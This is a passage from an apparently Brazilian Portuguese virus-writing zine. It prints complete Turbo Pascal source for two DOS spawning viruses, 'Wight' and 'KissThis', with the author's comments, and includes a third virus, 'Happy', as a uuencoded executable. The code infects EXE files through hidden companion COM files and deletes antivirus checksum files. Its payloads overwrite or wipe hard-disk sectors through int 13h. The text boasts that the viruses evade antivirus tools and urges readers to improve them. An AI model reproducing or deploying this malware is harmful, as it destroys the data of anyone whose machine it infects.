ela era D+, saudades biza !!!) Ah acabei nem di- zendo o que ela falava, pois anota ai "Voce esperou pra nascer por que da pressa ?" e e' verdade sem pressa, ate' na facu ja' to meio assim .... :) e phalando em frases vai a perola " Ja' que ta fodido, fodido e meio " hehe ... Uma rotina da hora e que esta em fase de conclusao e que tambem pode ser usada nesse virus e' a de Desregistrar o Windows , o que ? E', desregistrar o windows, o windows tem um montao de protecoes pa- ra detectar se a copia que esta rolando no seu computador e' pirata ou nao e uma delas eu to quase la' so' falta conseguir alterar o que o programa de verificacao verifica, por exemplo, se ele verificar um A num local ou programa B e voce mudar esse A para R e/ou alterar o local ou o programa o Windows dira' que ele se trata de uma copia pirata, demais nao ? Da ate pro virus fazer um BadBlock periodicamente e no dia da sua escolha ( no meu caso 22 de outubro, dia do falecimento dos meus dois mano, estejam em paz irmaos ...) fazer o windows do cara ficar pirata e ele ter de reinstala-lo !!! Bom, ja' falei o que tinha de fazer para ficar bom , agora pra ficar excelente so' tem que colocar umas tecnicas despistadoras de Av's, uma int 24h ( contra gravacao, para nao dar erro ) ah e fazer um MBR tambem ja' que e'pra fazer o virus bunitinho, se fosse de MBR tambem seria show de bola i vamos comecar a viajar entao , ele pode- ria instalar o GomaFloopy quando o user fosse acessar um disquete!!! Kara se eu tivesse tempo eu faria isso de verdade, e o virus nao seria um virus seria O virus, mas ta ai os fontes e se voce man- ja da arte ( deve manjar ou ta comecando, se nao nao estaria lendo esse texto !) e tiver tempo, pode investir na ideia que tenho certe- za que voce nao ira se arrepender ... Ou aprende a mexer em W32 e vai a luta, eu vou ter que aprender de qualquer maneira, senao o zine acaba !!! Acaba nao, mas nao pro- gride, e esse nao e' o objetivo, temos que evoluir e muito ! Bom, ja' fizemos dois virus de Spawning em Assembly e agora vamos atacar em HLL, ja' demos uma cotucada nessa area com o virus Spectre, mas foi meio que jogado, agora vamos colocar um outro virus na fita, tambem do Vecna (valeu kara) e vamos comenta-lo apos o fon- te, ou no mesmo ... Em tese o funcionamento do virus e' igual aos dois ai acima, ou seja, procurar o arquivo EXE que iremos fazer o Spawning e criar o virus que executara o hospedeiro ! O virus e' de Runtime, colocar programas na memoria em Pascal nao e' la' tarefa das muito simples ... Me parece ser 100% desconhe- cido ( passei uns Av's e nao detectaram nada ) e tem como rotina de ativacao a padrao do Vecna para seus programas em pascal que e' o Smash Sectors ... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── { ***************************** HLLC.Wight.4688 *************************** Nome do virus.....: Wight - Undead series - por Vecna Autor.............: vecna@antisocial.com Tipo..............: Spawning Runtime Linguagem.........: Turbo Pascal (utilizei 7.0) Tamanho...........: 4688 bytes Av's..............: none Bug's.............: nim_bus acha que nao tem nenhum ... Spawning Non-Resident EXE infector Undetectable Compressed Smash Sectors } {$A+,B-,D-,E-,F-,G+,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-} {$I-} {$M 2048,0,0} program Wight; {Undead series} uses dos; var i:longint; nome,nome2,newname:string[80]; arquivo:array[1..2] of file; buffer:array[1..5000] of byte; Flag:integer; procedure damage; { Procedure de Danos } var r:registers; begin r.es:=seg(buffer); { Endereco do Buffer } r.bx:=ofs(buffer); { " " } r.ah:=3; { Funcao Escrever } r.dl:=128; { Winchester's } r.dh:=random(15); { Cabeca aleatoria } r.ch:=random(1000); { Cilindro } r.cl:=random(17); { Setor de Inicio da gravacao } r.al:=01; { Escrever 1 setor } intr($13,r); { Int 13h Disk I/O services } end; function FileExists(FileName: String): Boolean; { Existe o Arquivo ? } begin Assign(arquivo[1], FileName); { Intaum Abre Ele e coloca o nome encontrado nele } Reset(arquivo[1]); Close(arquivo[1]); FileExists := (IOResult = 0) and (FileName <> ''); end; {Procura um arquivo e o devolve} function peganome:string; var search:SearchRec; pnome:string[80]; begin FindFirst('*.EXE',AnyFile,search); { Achar a 1ª vitima } While(DosError=0)Do Begin { Todos do Diretorio ate' o DOS indicar que deu erro, ou seja, acabou os EXE } nome:=copy(search.name,1,pos('.',search.name)-1)+'.COM'; { Nome do arquivo ja' copiado pra variavel nome com a extensao .COM , bah, olha, ja' temos o nome do virus, nosso arquivo vai ser MZ, mas sera .COM !!! } if Not(FileExists(nome))then pnome:=nome; FindNext(search); End; PegaNome:=pnome; end; begin { Virus Begin } {Pega nome dos programas envolvidos} nome2:=paramstr(0); { Parametro 0 e' o virus, deixa eu explicar, se o arquivo do virus chama wight.com, ao puxar o parametro zero, alocaremos isso na variavel nome2 } nome:=peganome; if nome<>'' then begin assign(arquivo[1],nome2); assign(arquivo[2],nome); reset(arquivo[1],1); rewrite(arquivo[2],1); i:=filesize(arquivo[1]); blockread(arquivo[1],buffer,i); { Copiar do arquivo em parametro 0 } blockwrite(arquivo[2],buffer,i); { Para o novo companheiro ... } {Esconde os atributos do arquivo} close(arquivo[2]); setfattr(arquivo[2],hidden); { Atributos +H para o virus } end; {Obtem o nome do programa a executar com seus argumentos} newname:=copy(nome2,1,pos('.',nome2)-1)+'.EXE'; nome2:=' '; for i:=1 to paramcount do nome2:=nome2+paramstr(i)+' '; {Executa o programa} if not(fileExists(newname)) then damage; { Chamada da Rotina de Danos } exec(newname,nome2); { Executar o arquivo hospedeiro } end. { ***************************** HLLC.Wight.4688 *************************** } Bom, muito dos comentarios do virus acima sao meus e qualquer abobrinha escrita ai foi eu quem escreveu, nem vai encher o saco do Vecna, pois ele ta meio que ate 'o pescoco de fudido com caso do babylonia ... O virus e' 100% funcional em plataformas baseadas em Ms_DOS ou Windows 95/98/NT (sendo que nesse ultimo, recomendo compilar o virus com o Turbo Pascal para Windows e adicionar um uses WinCRT ) fora isso, o virus funciona na boa mesmo e me parece que nao surgirao du- vidas, caso aparecam algumas duvidas, mandar mail pra mim ... Acho que essa materia vai ficando por aqui, se eu quiser acres- centar alguma coisa que tenha esquecido, vou dar uma nova editada no texto e ver se fica melhor, se bem que acho que ta a pampa o texto ai de cima !!! Bom, como disse, o texto ai de cima ta a pampa, entao vamos in- serir mais conteudo ao texto e deixar as partes acima sem alterar. Tava aqui procurando nos meus arqs e achei mais uns virus de Spawning e eles estao indo ai na sequencia ... E' um source do vec- na, daqueles bem antigos, quando ele tinha um nick ainda diferente do atual e outro nem sei de quem ... (se for seu avisa !) O virus me pareceu com uma logica da hora como a maioria dos virus do cara ( ele deve fazer esses virus chapado, so'pode ...). ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── { ****************************** HLLC.KissThis ***************************** Nome do virus.....: KissThis - Undead series - por Vecna Autor.............: vecna@antisocial.com Tipo..............: Spawning Runtime Linguagem.........: Turbo Pascal (utilizei 7.0) Tamanho...........: recomendo depois de compilado, dar uma compressada com o pklite ou algum outro EXE compressor de sua preferencia ... ficamos entao com ???? bytes Especial..........: Apaga alguns CRC's checks de Av's Hd Trash Stealth Compressors (Arj,Lha e Pkzip) Av's..............: nem vi nenhum ... Bug's.............: nim_bus acha que nao tem nenhum ... Kissthis By Sanguesujo (Aka Evil One) hoje vecna Non-Resident Spawning Exe Infector Compressed Undetectable Format Hd In 1/100 Or In Disk Error Stealth Archivers (Arj,Pkzip,Lha) } {$A+,B-,D-,E-,F-,G+,L-,N-,O-,P-,Q-,R-,S-,T-,V+,X+,Y-} {$I-} {$M 2048,0,0} Uses Dos; Var Host:String[80]; Arquivo:Array[1..2] Of File; Buffer:Array[1..8192] Of Byte; Errcode,Rnd:Byte; Procedure Trash; Begin Writeln(' Kiss This '); Writeln(' Made In Balneario Camboriu By Sanguesujo - 28/01/96 '); Asm @Kill_Disk: Xor Bx,Bx Mov Es,Bx Mov Dl,80H @Kill_Next_Disk: Xor Dh,Dh @Kill_Next_Track:Xor Cx,Cx @Kill_Format: Mov Ax,501H Int 13H And Cl,11000000B Inc Ch Jne @Kill_Format Add Cl,40H Jne @Kill_Format Xor Ah,Ah Int 13H Inc Dh Cmp Dh,10H Jb @Kill_Next_Track Inc Dx Jmp @Kill_Next_Disk End; End; Function Fileexists(Filename: String): Boolean; Var Code:Byte; Begin Code:=Ioresult; Assign(Arquivo[1], Filename); Reset(Arquivo[1]); Close(Arquivo[1]); Fileexists:=(Ioresult=0); End; Procedure Execute; Var Execname,Params:String; Count,Start:Byte; Begin Start:=1; Execname:=Copy(Host,1,Pos('.',Host)-1)+'.Exe'; Params:=''; If (Pos('Arj.Exe',Execname)<>0)And(Paramcount>1) Then Begin Inc(Start); Params:=Paramstr(1)+' -A '; End; If (Pos('Lha.Exe',Execname)<>0)And(Paramcount>1) Then Begin Inc(Start); Params:=Paramstr(1)+' -A+ '; End; If Pos('Pkzip.Exe',Execname)<>0 Then Params:='-Wh -Jh '; If Pos('Pkunzip.Exe',Execname)<>0 Then Params:='-Jh '; For Count:=Start To Paramcount Do Params:=Params+Paramstr(Count)+' '; Exec(Execname,Params); Errcode:=Doserror; End; Procedure Stealth; Const Names:Array[1..5] Of String[13]=('Anti-Vir.Dat','Chklist.Ms','Chklist.Cps','Tbdriver.Exe','Files.Lst'); Var Count:Byte; Begin For Count:=1 To 5 Do Begin Assign(Arquivo[1],Names[Count]); Setfattr(Arquivo[1], Archive); Erase(Arquivo[1]); End; End; Procedure Infect(Name:String); Var I:Integer; Begin Assign(Arquivo[1],Host); Assign(Arquivo[2],Name); Reset(Arquivo[1],1); Rewrite(Arquivo[2],1); Blockread(Arquivo[1], Buffer, 8192, I); Blockwrite(Arquivo[2], Buffer, I); Close(Arquivo[2]); Close(Arquivo[1]); Setfattr(Arquivo[2],Hidden); If Errcode=2 Then Trash; Halt(Errcode); End; Procedure Searcher; Var Newway:String[80]; Procedure Proc1; Var Way,Nome:String[80]; Extensao:String[3]; Search:Searchrec; Begin Findfirst(Newway+'*.*',Anyfile,Search); While(Doserror=0)Do Begin If(Search.Name<>'.')And(Search.Name<>'..')Then Begin Extensao:=Copy(Search.Name,Pos('.',Search.Name)+1,3); If Extensao='Exe' Then Begin Nome:=Newway+Copy(Search.Name,1,Pos('.',Search.Name)-1)+'.Com'; If Not(Fileexists(Nome)) Then Infect(Nome); End; If (Search.Attr=16) Then Begin Way:=Newway; Newway:=Newway+Search.Name + '\'; Proc1; Newway:=Way; End; End; Findnext(Search); End; End; Begin Newway:='\'; Proc1; End; Begin Randomize; Rnd:=Random(100); If Rnd=1 Then Trash; Host:=Paramstr(0); Assign(Arquivo[1],Host); Setfattr(Arquivo[1],Hidden); Stealth; Execute; Searcher; Trash; End. { ****************************** HLLC.KissThis ***************************** } Agora rola um virus em HLL tambem de Spawning chamado pelo Avp como HLLC.Happy , dei umas mudadas a meu criterio, quase impercepti- veis... Valeu ao kara que fez o virus, infelizmente perdi seu nick no meio de meus arquivos, mas quem se importa, opa , o kara pode se importar, me desculpa kara se voce ler esse zine, da um toque que eu coloco seu mail pra galera entrar em contato. E voce leitor, se sou- ber de quem e' o virus da um toque ... E' um virus de spawning que procura por .EXE no diretorio atual e cria o virus .COM com o mesmo nome, porem com extensao .COM . Ele fica residente mas nao captura as interrupcoes como os virus comuns, seria algo com um anti-debug tecnics, muito utilizada em cracks, a maioria dos programas de crack do MMI (voce ja'deve ter eu falado nele, o cara e' um dos maiores debugers que eu conheco, e e' brazu- ca.), sendo por isso nao considerado um virus de TSR, o virus abai- xo vai sem ser compressado, sendo necessario sua descompressao pa- ra que eu pudesse debuga-lo e como sou cabaco, esqueci de fazer um backup e nunca mais achei a porra do virus na lata, mas ta valendo. O virus nem sei de que e' direito, mas nao e' brazuca, acompa- nha a materia, pois e'de Spawing tambem ! A versao original do virus exibia a seguinte mensagem nos do- mingos de outubro : HAVE A "HAPPY MONDAY" LANCSPOLY SUCKERS. POP WILL EAT ITSELF :) Inseri uma mensagem no virus de arquivo infectado, pois aqui nosso objetivo nao e' distribuir virus, entao o kara so'executara o virus se quiser, estara ciente da acao. ──────────────────────────────────────────────────────────────────────────── ___ ___ ___ __ ___ | | | | |__ |\ | | | | | \ |__ |__| |__| |___ | \| |___ |___| |__/ |___ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;; Hll_Happy.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;; begin 600 happy.exe M35K1`!,````;`%,,&`+8`?_[```(`"L"`````-P7S<BYHOAJR(]#:;6MP7P; MR.%'L+X$"N+E+30D$*8*"JD_$$C\]@@['D]H8Z*SDT7<AG1^W5D8K*GA7'O- M4<T:SA-.HV"]IE_`VI1DXR!$@NQL>DU9*J%-#/YX"1K+V32-W=`JUHFC'FE0 MJ[>NXS/1C$K>*QU98E%F,FM9JRM.-[P)S\5;9)9W)YM)A$DPW%,+34G/7,.[ M+(7FV3&!F#D[2U#!T!3$GV'Z+`\^79[V+TOBN[DXY4'LUJLM3I/BUMJ\_@)? MNW^8?1W8X?M/&GN)WA:_=TEV/[UL1`).0>\T:&6.D8%:)*T'\>,I(')FU;[1 M9VJPF9]6/UDB*0X6!3KT<H"]5UI(%LX0=4DS80``D"3)Q'XQ@PMI%@#\PKTG M?)(WZ6ZN1;I?R'6-F_A,=&`@$N4=^S57R;Q+S[__#UG5X%'L_W60@YQ[78>* MG)F;G@$D@%/NOCH&)=3R1XQ%3)IE]P@0:E-4-^1<GJ"E?(R*&<KW]BL4;"QB MN=;HX%<R60EVXB8`'[50QQ"*@<*Y(*&OZ'B#C2Z-KHPNC*Z,KHRNC*V,KCU; M.EPW5V^H-B6F*J&GU02*(+3U<JX]%"FJG:U;W,RMC11QK)VM`FB/*@ZP="^) MQ;RMQ&>1K(S#B:]&L@HPD+F*.9<32JPOKES*6]S,I8T4<:R=K05HD!,^K"^N M7,I;W,REC11QK)VM!6B2]3VN/10IJIVM6]S,I8T4<:R=K3SV<JX]%"FJG:U; MW,REC11QK)VM/11VK"^NU9V-7O-)B+Z-?;KNA:[SD8J^C5[S5(M0C._IJ&]7 MW:P]?<U=\P:$OHT4**:=K?.?BKZ-)$:S7,I;W,REC11QK)VM/21&M%S*6]S, MI8T4<:R=K3T4=JPOKL1GD:R,PXFO1K(*,)"YBCF7)*%0A(\L4#-5,%:\J&.` M1E9&KHRN#*^-K@RNC*Z,KXRNC:I?:SQAA&L\83A>1FN"CEQK;4L</A*.BHZ& MCD]@-F*)@$961JZ,KHROC*V-60/)"\*-K,>G3ZV,[VZM?U?5;HU>S%6(D#04 MU:W-K0AP[ZF-.3[JAT"((LKN:*WSD8J^C5P\[T6K;U?S>HONC0T'JO(BQ2*S M##VK6]Q1VQ:J4>T9F\PWB)`U[T^M;U?4KHU>\S:*OHSO-:MO5_*WC.Z,P^`M M3W"*KA:KH\2*#D^M7,I;W,R"BA1QK)VMZR6)#@6J7,I>JHT5S(**%'&LG:WK M)8D.!:I<REO<S(**%'&LG:WK;XHASZV,ES7O3ZUO5_-0BKZ,[UBM?U?RPXJ^ MC.]/K6]7U*Z-7O,VBKZ-(<^MC)<U[U6M?U?S((KNC2'/K8^7->]-K7]7\U"* MOHSO3ZYO5_+#BKZ,[T.M?U?RPXJ^C.]/K6]7\L.*OHSO0:U_5_+#BKZ-%)FL MS:W,;XJ0->]/K&]7U*Z-7O,VBKZ-#D^M7,I;W,R"BA1QK)VMZR6)#@6J7,I> MJHT5S(**%'&LG:WK)8D.!:I<REO<S(**%'&LG:WK;XHASZV,ES7O3ZUO5_-0 MBKZ,[SNM?U?RPXJ^C.]/K6]7U*Z-7O,VBKZ,[PFK;U?,;XJ0-!1#I9VMS*F) MD#7O3ZQO5_-C@[Z,[PFK;U?5+8U>\S6#OHSOB:IO5]4MC5[S-8.^C.\)JV]7 MS%F(D#04&Z[-K<RIB9`UZH=:B"+*[FBM\Y&*OHU</13RK<VMR:<YJP#LS(J* M%'&LG:T[7LQEB)`T%%BMS:WJ)XD5S%:*%'&LG:WH78GO1:MO5\Q9B)`T%!2M MS:W,*8B0->J'6H@BRNYHK?.1BKZ-7#T4\JW-K<PIB)`T%)*DG:W,J8F0-!22 MI)VM`\(OZT]:)D`E36TY'HYK:CQA0F!$7VUH1F)"5&N.16)!CC@^*C<?11]' M;68J/ATU;3@B/!8[;5,Y:D2'6WY=?BZ.BJUMKHRNC*^,KHVJ7VDU:?.MC+Z- M%(RN+ZXV):8LH:V(Z(=HB*[_[XRO=U=;[CT4D*.=K<QOC9`U]HRM/104K)VM MS&^(D#7O3:MO5\QKB)`U[TFK;U?SK8SNC.>'*(F"C2M/;HBE%ZG'IT>KBBM/ M;HBD%ZC$IP>J=*X(<$VK@#B&YX<HB7:-+D]HB*T6FPAP2:N*.87HAVB(K:"H MQZ='JXS&V;$-<$>KBCE7[^FH;U?-XXB@-'W-7?.A@[Z-%$FFG:WSGXJ^C/:9 MK#T4[ZLOKMV1//9]KM.MC5P]%,2LS:W_[XRO=U?5K(U>\K*"OHSO@JI_5_+# MBKZ-(<^MCY<U]HNN/120HYVM\L.*OHSO@JI_5_+#BKZ-(<^MCI<U]HBN/120 MHYVM\L.*OHSO@JI_5_+#BKZ-(<^MD9<U]HFN/120HYVM\L.*OHSO3ZQO5]2N MC5[S-HJ^C0Y/KES*6]S,HHD4<:R=K>LEB0X%JES*7JJ-%<RBB11QK)VMZR6) M#@6J7,I;W,RBB11QK)VMZV^-(<^MC)<U[T^N;U?S4(J^C.]XJG]7\L.*OHSO M3ZYO5]2NC5[S-HJ^C.]/KF]7S&^+D#04F:S-K5ON/12SK,VM`\(N?<T3M:V= MK38EI\5CKLP)B9`TH*6.B>_IJ6]7\T6'OHSOZ:AO5W[&@:O,"8:0-!0>J9VM M`\(OX]F>I-J&<H0Z@W*(.(;VB*ZE5XS&ZJW9I5JOI/*&),F)#`SSJ>L=B7O- M"P"JZQ*)#/&I30P#JM5MC2#,[B&N9R2&B%.I&+-G)(?UC:ZE;HKV5*[[MKUZ MNK::"O>I;Z!M]%RMU9)GX6J/R?--KO[K9RYG)XRP4:<9J%&J&ZS=JCSZC,8Y MJ36DJ3E?]GN=V*VE9H?V79W4K=NMI7"&+I.#%IAG+G\GC:W5K8OUC:BEA(?Z M>OMLQFNIR?E]QG&I//9=G=2MVZVEG(96VJV"W!:FVY51JQ2LVJP"O`+:CN/9 MK0RP=3B*^HH+_ZD"F/6I!:#^J<>G`:J*>\T*^ZD"F/FIR%UN]N*L_M4-<`.J MC3J'Z(<2B:UL5KPM3Q*)KA:MR>>'$HFNV:R^EQFHV:V^EZ&YW4^EE8G^2<9X MJZ6DB>%H([%W`&>(QFFOI3^,#?.IZQV(Y(NN`=)7)#2D5R04IE<D/*A7)!RJ M4MT4AU*Y%(N.XQ6/CM\5DX[D4Z#UJ12;CN!3@/*I%*,"F/NI`J#YJ:5PB>2% MKM6MAR1/'HDC?QR)(W<:B,99J@"8^ZFEC(GCI9>)]HVH`W#]J0'D`YCYJ:64 MB./5K(7#B?:*J#S&DJLU)$\>B21_'(DDGR)W&HETGSB+?,S%F:K`(K%W`U>' M>`,WB+##JW<<B3QT='<:B3=[L+^K5QN)/()T5QF)-XG&SZO#J8S&VJL"[&.H M^ZF.[<'%YJL"Z&.H^*F.[<`BL7<#9XD&G3F)BGRB#2YG'HD^A:C]J<.KC2.Q M=P-GB8J%_8C<K2UG'HD?A:C]J<.KC2YG'HBWP"U_'HFFP`WSJ>L=B.,!TE<C M-*J!W!F;6:_^YF<DAB-O&(DCP<6'KD,YE..+KF=TACF*S)/J`=)7(RRJU-!8 M]'NN4=L8E)6Z`=:I3.6J%J:!JZ=,W/>G:@+KIVL"YZ=KPZN,RBJ*D,<KXPUP M\*F-.83ZB^%V_HTZBOZ+X^T2B.B'$XFN@NX6G%K*OI>"[A:D!8CPJ8+*%JS= MJJ65CN(!TF]XQBZ(YT:LW-;$:(DNC2$&+HTE1J(!47[G1IXRJP%A>NA&?HV/ MPZF-([&/5ND,JM4<B?,<J@'C"C&*_;0Y@N=&K-K6U6^)([4D1IH!87<E+I8! M87,E/I(!86][S8[#J8U9`<+)+X>(`%F)9$.(`#F%B,DP@7NQYX<3B:Y^QC"O MTJR-<H4Z67)X.EURB3I)95&3&8=1K1F+4:@9=U&4&6A1H1E?48X:WU'4&.-G M)HIKI16-<Z\WS2*9PM&BL#G4_83&!*[=C:4KC/Z$Q@ZN0<RBPNERKSGMAP.M M48X;%:5#C6NJOJ`<#7``JHTZ`X@%K4G#@L8_KF;GBJ&#:TGJ#ZA9[F<E1J9G M)2ZD+^2)K@'25NH,JF<C/J9GA3ZFJ)1FZ@ZB#7`!JHTY@(@#J:61C6>JMJ"J MI1&,QK&Q6>[#J8U[S..)KMV@I:N,_H-;.ER'7J4[C591IQF$4:89@5&A&7M1 MI!EYV:0#D/VI6J_2K(U<I4B*5([K4YCYJ1>.`YC[J:"6V9^E7(O#>'1W'(DZ M?[#"PH(D=QR(PXG&A:ZE@(VG,U4QZX[G4WCVJ1>6CM\Z7-6LAR1/'HDC?QR) M(W<:B,9WK3-5R?F(?(W$@:W9JUJOHJB*D-5MC2"U(G=>C8\!U`&W9R2&<H0Z M:G*%.F%R@SI6<GXZ4F>.ZU.8^:D7<J4^C,;LK@.8^ZF@@:5*C5TZ]H2@I.J- M5#/#<,8YKE.8^ZD9FX[CH)ZE9HS&%*^@IJ5NC21W'(EG`;<!U*L'I7R-D-5M MC2"U)'=>C23&MV=DC7R7JLLBQ2)W2XS^?L"@K0+I2L"@K4+^?<"@K0+M2L!M MZU&W&4LZ7#20AR.\@K\C=R&))%<>B/9-KO[5`N>7AT.N6J^)Z[O-`;8!U`"8 M**X)[(;VC/8-<$*NA#F*^MVG;"#,L8+3&9CA([3!Y:P7LY+!Y:P8LP'KX;*J MP:"G`L?A`JJQA(\L5#/K-U<VJ+Z=A%$L4,BMC*Z,KHRNC*Z,KHRN-B.@^6+A M:GRHZ0^HX"/*Z0^DX"/&Z0^@X!S)+WL#+^1]KC8CH2(_I`,XA20WJ-F"OHPO MY(>N-B.@^6#A:GRI(\KI#ZC@(\;I#Z3@(\OI#Z#@(\?I#YS@4,.=C5D!P@-` M@20_I`,XA20WJ-F`OHPOY(6N-B.@Z0^D9R-O]HU7OHP8J%GE6=R@JUGNZ`^( MZ@^HD1S@&^!0PZ6-60'"R2^#B`"1`&"'(S>FU:PUX6H\BWO-"N^I+^2%KC8C MH2JA76[I%Z+^+]V7A;+A<3P\BOX\%ONZZ7O-`\97AOIRX6HA-OYWCP!@@OH^ MX6J/R2^&QFVN`<DOY(.N-B.AC\97AOIRX6J/V5Z^C,DOAL:)KB_DB:X;D0GG M;Y"'CUKNTJV+LIK_EMP"[3PCE%^/NND#;'O-"N^IR%@!PLDOAK(`:(#]@]NE MJ-&FX")'HMJHN<5FGXT#`&B!B6RNX")'I-JBN<7@(D>DVJBYQ69OC0,`:(.) M;*Z[S>!0PZ6-60'";ND7I)$`7_*%_8/;K1O?_(?;K:J]`(G>W_R!VZT:W_R' MVZVJM0"[Q8GK;>H/J.`;X%##I8U9`<(#:(+Z5^%J(LSI#ZB1&N`:X%##IXU9 M`<)NZ3>H`VB"^F?A:H\OY(>N-B.A#%NN_NUG(W>LC8.](T>HV7R^C"_DBZXV M(Z$D9PZ)(G<,B2V@KXT@;WR-#6&N`FB;EX6RQC>#(0\LX7$\/(K^/!;[NNE[ MS0/&-X<ASZN,`5$P&ZS=+^,5^[KH_7X$=X__]XJO`CB9(2ZX1R$.S`(PE2%& MM-6L8^%J(0[<`C"1(4:PU:QCX6HA-RS^3YKUC6.^C!NL6>[3!(H@LK,`B.VI M_Y?KJ9`*[ZDOY(6NV6"^C,!8`<()PFV0D.@7J/XOK9>$`E&/%ZS=CO4BQ6T! MWJB?X7$J/(=R$S>+@FT$JKO=<...;R!O?(T@;X*->Y<M4:X9G?XOK2+"NN<Y MA6#AH\TXD<*C(H^/A'S,](VMFO^6W,DO@R3*`Y@);".F4,.IC*Z,KHRNTP2* M(+,AAWR->YXBR:AXKMJIN<4`W(GLZ*.-"X&NB*B)KNB?C0MUKNB1C8CJJXV! MC9[HC8SOZ:?.T(OU>Z[\L5\"V7B^C`*1`6F+*\2IJKUOH&WTOZW5K6?A:_2V MK=6*9^%K].ZMU8EGX6OTQZW5;F?A:H_5"8F0/9`\]H>L?UY^QAFJ?L:MJ=4) MAI`]D#SVAZQ_7G[&+:I^QKJIP;()ZH=6"<=L+<07C2Z1=!BKS:Z,5ME9OHP! MP@U@=ZTU4S)4+T\NCX7?U-V-*\FGH*K4Y8U5,<.%]HRM6>59T],$BB"RLNB! MC2/*HL@Y;`U]KH'N&9W^[6=S;YZ-.H>(ZIF,PYXAR()O?(TKH)T"H%^N`I!= MKLF/9:X`[H'K&9M9[NB%C0MCKNAWC/9[K7]>AUO!]>FI;UY^Q@*JU0F&D#V@ MI2V([^FGSM"+]7NN_+%?`MF(;NEWX6J/">>(S)H,7ZZ`J%VN&871OHO&8Z[J M@8S&6Z[1KXO&;Z[J?8S&3:[=<Z58C0U?KJ5XC/.(K*6FC0UAKMEAOHQ?)(2D MS3F&QE6N2<.9ZMI)I::,_8+&BZZ@J5K*EKR)?CS&;ZXU),CJ/23(Q8JN-5[: MJ;K%I:J-5FF?B7Y1=!NLB:<"WMFGOHS(K8N3:(I9>5=W5753<U%Q3V\6:1L\ M'(X?/VTX(CP6.VVN;4T9CHV`?J2->\TFAWB,XPAP5ZZ-.8OCZG>,Q=>O`;I7 M($FL9W,VK`RG$9IG<X8\?(A068<RA2^$B%!IB3>+X]3DC,7_KP&Z8;X;H0O` MC:P;IU!X6:X;K<'UPZVB.8ZQ`=(`U%;J#*96Z12JX0,"YEK!F`G^T\.IC+(! MT@#45ND4I%;J#*A7(SRJX7/*-XLDR@,"YEK!F`G^T\.CC2.Q=\DNB8@#J5K* MPZF,L@'2`-16Z@RB5ND4I@.J6LI7(SRH@>4,J]*LC:N:@LH[>&Y7(SRJ@>4. MK%GE4>T7J`'MH*M9[N,BQ+KI'[+CA:Z1(K$ALW?)+H5XQC:)B`.A6L'AAXVI M&*9FZ(>O`NV6W8FU1"3$NND?LN.)KI$BL8]6Z12F5NH,JF<D?GR?RF)GX7&* M/&(WA0*:_Q:2/<-L?*DBNH*].WIL`>:8!QF@8>:)O8FU1&07OEGNH*5AM@'G M5X-$JFWDA:Z1(K$ALW?&-H5XR2Z)`F<D9F<"YE+B%ZP"XH+E&:A:P9@'%JQ2 MZO[3PZ6,L@'25NH,J-VLXW<#9XD$PZN,L@'2`-16Z@RD5ND4J%<C1*KC(L2Z MZ1^RXX>N-B.A+*&MBR'/K8R7->H/I(=7U:R-7@!HAV8]H*3=CND/H(=7?L:$ MK__OC+!W5\DO@Z@UKQ>HU*Z-7G[&VZ]^QIZOR2^#J#6O%Z9^QAVP`<DOY(&N M-B.A+*&MBRL/J(TP2"'/K8R7->H/I(=7U:R-7@!HA68]H*4WCR#/K8^7->H/ MI(=7`&B%JT>H//:,K3V@I5&/GZ44CND/I(=7U*Z-7G[&<[`!R2_DA:ZE88U[ MS2*Q=P!/B:.P.8D<E;KZXXNNI7>-&]4MC/5MKI;G#3F"W:G<NJ_$RYA[S2VG M+L'%<JZ^<>RGVJF^=H=VC.%7S;YXC^!3U;YPP<R,#%6N`)!3K@'F7K=FQ8C= MJ]RKW*JKHJJZJKG<J=RHJKBKF?R'VZBKF*B*K@G<C0M5K@*84Z[(J`CZ8.%J M)7]VC25W=(SC`=)O>,DNA7C&-HBR6>[A]=S6X?4-KN!ZS0+@`OYH&0,`[N'U M?JC@(<4"6>[2GXR[X`%17Q>LW5X"YEK!F`E:[N..PZ6-([%WR2Z#>`!GB8@" M:8EX`&>'B`)I@7@`9X6(`FE_>\V'`FF%B`)I@N2#KM+\M<*$]-K6H*K2^K0B ML7?)+HF(`&F+<=O6&9Q/_+0Y?G'<UAF>Q*=7KB>NH(D[J#2@I8F-5%GN9R4V MK&<E1J9G)4:DT)V,QD.N&:AFYT:LW-;#J8S^C,.*_HHCL7?)+HF("C&*_;0Y M=8@*,8K\M#F$YX=XC4>,PW5>T)F,QGFN-:3-.8#S<:ZEI(V(Q&B*_K7CB:Z' M5X=79J]RH\TYB`M7KBRGR"*QCU;I#*I9Y0*AU:U.+0ZLV]89H=VKC*@*,8K[ MM#F*^E$N#GZ-.H(A-GZ^C!M?`JG4Q(=[PB*R+`ZLV]89A0"1U:U(X6OV3Z<! MY@#CENL-.7HM#JS9UA:KI8>,]G*G6>4!U<1HBORT)$::`6%W)3Z6`E%RYT:2 M+Z<!86][S8[#J8U[NWK"(F_VBVR^C%XNC2NSK1BJ6>Y9W`'D`=X`D=6M2N%J M(?8MC/4-K@"1V6Z^C!BL6>Y9TU'6&8X,]0VN<SJ(:Z&[`=MAWM.NC")O]HML MOHQ9Y0"1V6V^C,@BL8]6Z@RJ9NDVHF<C/JIG(V_Z3>%J/'V(`FF#>\V'Q&B% MKHV/PZF-B,1H@ZZ,PY\BL8]6Z@RJ9NDVHEGE9R<^IF<C;_I,X6H\A(/*.8GV M)JYMY(FN`=)O>,DNB8C&6(%[PH<$886(`)'9;;Z,&ZQ9[FWDB:X!TE;J#*IG M(VXKD*D7J-EOOHP;K%GNPZF-*T]XC*X6IF<M#JS;UA:A9R,NIF<C-J1FZ@ZB MR>:'>(U&C,.@<K,YAH@#K93J`;)6Z@ZLI7"-([URLSB@_7*UR"I/>(RN%J9G M+0ZLVM86H6<C+J9G(S:J9NH.HLGFAWB-18S#H(<%K4ASLSF+ZP&R5NH.K#I8 M;O3BK/[39R4NIH=7AU=FKRZ:@>X9J^AWC4^$B`!I@X@`486(`%F)B,DP@8\O 